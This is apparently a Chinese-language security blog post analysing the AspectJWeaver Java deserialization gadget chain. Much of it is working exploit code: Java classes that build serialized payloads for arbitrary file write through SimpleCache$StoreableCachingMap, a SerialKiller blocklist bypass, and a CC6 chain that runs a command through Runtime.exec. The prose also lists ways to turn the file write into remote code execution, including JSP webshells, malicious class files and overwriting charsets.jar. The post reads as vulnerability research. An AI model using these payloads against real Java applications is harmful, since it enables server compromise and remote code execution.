0x01 What is AspectJWeaver
AspectJWeaver运用在面向切面编程(AOP: Aspect Oriented Programming)中
AOP是一种编程范式,旨在提高模块化、降低代码耦合度。它可以向现有代码添加其他行为而不修改代码本身。Spring就运用到了AOP
AOP的一些概念:
切面(Aspect): 公共功能的实现。如日志切面、权限切面、验签切面。给Java类使用@Aspect
注释修饰,就能被AOP容器识别为切面
通知(Advice): 切面的具体实现,即切面类中的一个方法,根据放置的地方不同,可分为前置通知(Before)、后置通知(AfterReturning)、异常通知(AfterThrowing)、最终通知(After)与环绕通知(Around)
连接点(JoinPoint): 程序在运行过程中能够插入切面的地方。Spring只支持方法级的连接点。比如一个目标对象有5个方法,就有5个连接点
切入点(PointCut): 用于定义通知应该切入到哪些连接点
目标对象(Target): 即将切入切面的对象,被通知的对象
代理对象(Proxy): 将通知应用到目标对象之后被动态创建的对象,可以简单地理解为,代理对象的功能等于目标对象本身业务逻辑加上共有功能。代理对象对于使用者而言是透明的,是程序运行过程中的产物。目标对象被织入公共功能后产生的对象。
织入(Weaving): 将切面应用到目标对象从而创建一个新的代理对象的过程。这个过程可以发生在编译时、类加载时、运行时。Spring是在运行时完成织入,运行时织入通过Java语言的反射机制与动态代理机制来动态实现。
大概了解一下,跟下面讲的利用链没啥关系
0x02 Any File Write
这个利用链用到了CC依赖。回忆一下,Commons Collections 3.2.2中 增加了⼀个⽅法FunctorUtils#checkUnsafeSerialization
⽤于检测反序列化是否安全,其会检查常⻅的危险Transformer类,当我们反序列化包含这些对象时就会抛出异常。
AspectJWeaver
这里只用到了CC里的LazyMap
、TiedMapEntry
、ConstantTransformer
,高版本CC仍具有实用性。
Copy < dependency >
< groupId >commons-collections</ groupId >
< artifactId >commons-collections</ artifactId >
< version >3.2.2</ version >
</ dependency >
< dependency >
< groupId >org.aspectj</ groupId >
< artifactId >aspectjweaver</ artifactId >
< version >1.9.2</ version >
</ dependency >
Copy import org . apache . commons . collections . Transformer ;
import org . apache . commons . collections . functors . ConstantTransformer ;
import org . apache . commons . collections . keyvalue . TiedMapEntry ;
import org . apache . commons . collections . map . LazyMap ;
import java . io . * ;
import java . lang . reflect . Constructor ;
import java . lang . reflect . Field ;
import java . nio . charset . StandardCharsets ;
import java . nio . file . Files ;
import java . nio . file . Paths ;
import java . util . HashMap ;
import java . util . HashSet ;
import java . util . Map ;
public class Test {
public static void main ( String [] args) throws Exception {
String path = "E:/" ;
String fileName = "AspectWrite.txt" ;
Class < ? > clazz = Class . forName ( "org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" );
Constructor < ? > constructor = clazz . getDeclaredConstructor ( String . class , int . class );
constructor . setAccessible ( true );
Map map = (Map) constructor . newInstance (path , 2 );
Transformer transformer = new ConstantTransformer( "content to write" . getBytes( StandardCharsets . UTF_8 )) ;
Map lazyMap = LazyMap . decorate (map , transformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap , fileName) ;
HashSet < Object > hs = new HashSet <>( 1 );
hs . add ( "aaa" );
setPut(hs , entry) ;
ser(hs) ;
}
private static void ser ( Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream() ;
ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos) ;
objectOutputStream . writeObject (o);
objectOutputStream . close ();
File file = new File( "E:/ser" ) ;
FileOutputStream outputStream = new FileOutputStream(file) ;
outputStream . write ( baos . toByteArray ());
outputStream . close ();
}
private static void deser () throws Exception {
byte [] fileBytes = Files . readAllBytes ( Paths . get ( "E:/ser" ));
ObjectInputStream objectInputStream = new ObjectInputStream( new ByteArrayInputStream(fileBytes)) ;
objectInputStream . readObject ();
}
public static void setPut ( HashSet < Object > hs , Object o) throws Exception {
// 获取HashSet中的HashMap对象
Field field;
try {
field = HashSet . class . getDeclaredField ( "map" );
} catch ( NoSuchFieldException e) {
field = HashSet . class . getDeclaredField ( "backingMap" );
}
field . setAccessible ( true );
HashMap innerMap = (HashMap) field . get (hs);
// 获取HashMap中的table对象
Field field1;
try {
field1 = HashMap . class . getDeclaredField ( "table" );
} catch ( NoSuchFieldException e) {
field1 = HashMap . class . getDeclaredField ( "elementData" );
}
field1 . setAccessible ( true );
Object [] array = ( Object []) field1 . get (innerMap);
// 从table对象中获取索引0 或 1的对象,该对象为HashMap$Node类
Object node = array[ 0 ];
if (node == null ) {
node = array[ 1 ];
}
// 从HashMap$Node类中获取key这个field,并修改为tiedMapEntry
Field keyField = null ;
try {
keyField = node . getClass () . getDeclaredField ( "key" );
} catch ( NoSuchFieldException e) {
keyField = Class . forName ( "java.util.MapEntry" ) . getDeclaredField ( "key" );
}
keyField . setAccessible ( true );
keyField . set (node , o);
}
}
HashSet#readObject
-> HashMap#put(tiedMapEntry, new Object())
-> HashMap#hash(tiedMapEntry)
-> TiedMapEntry#hashCode
-> TiedMapEntry#getValue
-> LazyMap#get
-> SimpleCache$StorableCachingMap#put
-> SimpleCache$StorableCachingMap#writeToPath
-> FileOutputStream#write()
Copy public Object get( Object key) {
// create value for key if key is not currently in the map
if ( map . containsKey (key) == false ) {
Object value = factory . transform (key);
map . put (key , value);
return value;
}
return map . get (key);
}
StoreableCachingMap
是HashMap
的子类,重写了put
方法
Copy private StoreableCachingMap( String folder , int storingTimer) {
this . folder = folder;
initTrace() ;
this . storingTimer = storingTimer;
}
@ Override
public Object put( Object key , Object value) {
try {
String path = null ;
byte [] valueBytes = ( byte []) value;
if ( Arrays . equals (valueBytes , SAME_BYTES)) {
path = SAME_BYTES_STRING;
} else {
path = writeToPath((String) key , valueBytes) ;
}
Object result = super . put (key , path);
storeMap() ;
return result;
} catch ( IOException e) { //...
}
return null ;
}
private String writeToPath( String key , byte [] bytes) throws IOException {
String fullPath = folder + File . separator + key;
FileOutputStream fos = new FileOutputStream(fullPath) ;
fos . write (bytes);
fos . flush ();
fos . close ();
return fullPath;
}
writeToPath
实现写文件,folder和key拼接组成文件全路径。传入StoreableCachingMap#put
的key为文件名,value为写入的内容。
但单纯的写文件危害不大,还得配合其他漏洞打。
如何将写文件升级为RCE呢
🌔Jsp WebShell
若目标应用支持解析JSP,直接写个Jsp WebShell
🌓class file in WEB-INF/classes
既然有反序列化入口,在WEB-INF/classes
下写入一个恶意的字节码文件,在readObject
或静态代码块中编写命令执行,然后再反序列化这个类。若有往JAVA_HOME
写的权限,可以往jre/classes
写入编译好的class
🌒FatJar under SpringBoot
现很多应用都采用了SpringBoot打包成一个jar或者war包放到服务器上部署,我们无法往classpath写jsp或字节码文件了,那就考虑覆盖jdk的系统类。
由于jvm的类加载机制,并不会一次性把所有jdk中的jar包都进行加载。往目标环境写入/jre/lib/charsets.jar进行覆盖,然后在request header中加入特殊头部,此时由于给定了字符编码,会让jvm去加载charset.jar,从而触发恶意代码。
这种方法的缺点是目标$JAVA_HOME未知,需一个个尝试。
可以参考这篇文章👉Click Me
0x03 Bypass SerialKiller
利用链中的ConstantTransformer
在SerialKiller
中被ban了
https://github.com/ikkisoft/SerialKiller
需要找一个和ConstantTransformer
效果等同的Transformer
transform
返回输入对象的字符串表示,会调用toString()
本以为这个能成,但后面写文件时会把value强转为byte[]
,而String
强转不了byte[]
。
✔️FactoryTransformer
+ConstantFactory
Copy Transformer transformer = FactoryTransformer.getInstance(ConstantFactory.getInstance("666".getBytes(StandardCharsets.UTF_8)));
0x04 Forward Deser
利用AspectJWeaver
任意文件写后,发现同目录下出现了一个cache.idx
文件
StorableCachingMap#put
中调用完writeToPath
后紧接着调用了storeMap
Copy public void storeMap() {
long now = System . currentTimeMillis ();
if ((now - lastStored ) < storingTimer){
return ;
}
File file = new File(folder + File . separator + CACHENAMEIDX) ;;
try {
ObjectOutputStream out = new ObjectOutputStream(
new FileOutputStream(file)) ;
// Deserialize the object
out . writeObject ( this );
out . close ();
lastStored = now;
} // ...
}
获取当前系统时间,若和上次存储时间的时间差大于storingTimer
,会创建一个文件cache.idx
,并将this
序列化写入。
有序列化的地方必然有反序列化,StorableCachingMap#init
Copy public static StoreableCachingMap init( String folder) {
return init(folder , DEF_STORING_TIMER) ;
}
public static StoreableCachingMap init( String folder , int storingTimer) {
File file = new File(folder + File . separator + CACHENAMEIDX) ;
if ( file . exists ()) {
try {
ObjectInputStream in = new ObjectInputStream(
new FileInputStream(file)) ;
// Deserialize the object
StoreableCachingMap sm = (StoreableCachingMap) in . readObject ();
sm . initTrace ();
in . close ();
return sm;
} // ...
}
return new StoreableCachingMap(folder , storingTimer) ;
}
读取了cache.idx
并进行反序列化。接着看哪里调用了StoreableCachingMap#init
Copy protected SimpleCache( String folder , boolean enabled) {
this . enabled = enabled;
cacheMap = Collections . synchronizedMap ( StoreableCachingMap . init (folder));
if (enabled) {
String generatedCachePath = folder + File . separator + GENERATED_CACHE_SUBFOLDER;
File f = new File (generatedCachePath) ;
if ( ! f . exists ()){
f . mkdir ();
}
generatedCache = Collections . synchronizedMap ( StoreableCachingMap . init (generatedCachePath , 0 ));
}
}
在SimpleCache
的构造方法中调用StoreableCachingMap#init
也很好理解。顾名思义这个类是一个缓存类,cacheMap
成员即其内部类StoreableCachingMap
,充当了一个内存层面的键值对缓存,当然它支持持久化存储,也就是每次写入缓存(StoreableCachingMap#put
)时,判断和上次存储时间的时间差是否超过storingTimer
存储计时器,超过则进行持久化操作,存储格式是序列化数据,存储文件为cache.idx
。下次需要恢复到内存的时候,只需重新构造一个SimpleCache
对象即可,它会调用StoreableCachingMap#init
对持久化文件进行反序列化,得到原来的cacheMap
思路到这里就很明显了,先用AspectJWeaver
往cache.idx
写入恶意序列化数据,再通过CC链触发构造函数。
为了防止写入文件后,storeMap
又马上重写了我们的cache.idx
,设置storingTimer
为稍微大一点的值。
很可惜,不管是InstantiateTransformer
还是InstantiateFactory
,都要求目标类的构造方法需要是public
应该能配合其他漏洞打,比如SnakeYaml
贴一个写CC6序列化数据的payload,接下来就是调用SimpleCache
构造器的问题了。
Copy import org . apache . commons . collections . Transformer ;
import org . apache . commons . collections . functors . * ;
import org . apache . commons . collections . keyvalue . TiedMapEntry ;
import org . apache . commons . collections . map . LazyMap ;
import javax . management . BadAttributeValueExpException ;
import java . io . * ;
import java . lang . reflect . Constructor ;
import java . lang . reflect . Field ;
import java . util . HashMap ;
import java . util . Map ;
public class Test {
public static String path = "E:/" ;
public static String fileName = "cache.idx" ;
public static void main ( String [] args) throws Exception {
writeFile() ;
}
public static void writeFile () throws Exception {
Class < ? > clazz = Class . forName ( "org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" );
Constructor < ? > constructor = clazz . getDeclaredConstructor ( String . class , int . class );
constructor . setAccessible ( true );
Map map = (Map) constructor . newInstance (path , 6000000 );
Transformer transformer = FactoryTransformer . getInstance ( ConstantFactory . getInstance ( CC6() ));
Map lazyMap = LazyMap . decorate (map , transformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap , fileName) ;
BadAttributeValueExpException val = new BadAttributeValueExpException( 1 ) ;
setValue(val , "val" , entry) ;
ser(val) ;
}
private static void ser ( Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream() ;
ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos) ;
objectOutputStream . writeObject (o);
objectOutputStream . close ();
ObjectInputStream objectInputStream = new ObjectInputStream( new ByteArrayInputStream( baos . toByteArray())) ;
objectInputStream . readObject ();
}
public static void setValue ( Object obj , String name , Object value) throws Exception {
Field field = obj . getClass () . getDeclaredField (name);
field . setAccessible ( true );
field . set (obj , value);
}
public static byte [] CC6 () throws Exception {
Transformer [] transformers = new Transformer [] {
new ConstantTransformer( Runtime . class ) ,
new InvokerTransformer(
"getMethod" , new Class []{ String . class , Class [] . class } , new Object []{ "getRuntime" , null }) ,
new InvokerTransformer(
"invoke" , new Class []{ Object . class , Object [] . class } , new Object []{ Runtime . class , null }) ,
new InvokerTransformer(
"exec" , new Class []{ String . class } , new Object []{ "calc" })
};
Transformer [] fakeTransformers = new Transformer [] { new
ConstantTransformer( 1 ) };
Transformer transformerChain = new ChainedTransformer(fakeTransformers) ;
Map lazyMap = LazyMap . decorate ( new HashMap() , transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap , "a" ) ;
Map expMap = new HashMap() ;
expMap . put (tiedMapEntry , "b" );
setValue(transformerChain , "iTransformers" , transformers) ;
ByteArrayOutputStream baos = new ByteArrayOutputStream() ;
ObjectOutputStream oos = new ObjectOutputStream(baos) ;
oos . writeObject (expMap);
oos . close ();
return baos . toByteArray ();
}
}
Last updated 5 months ago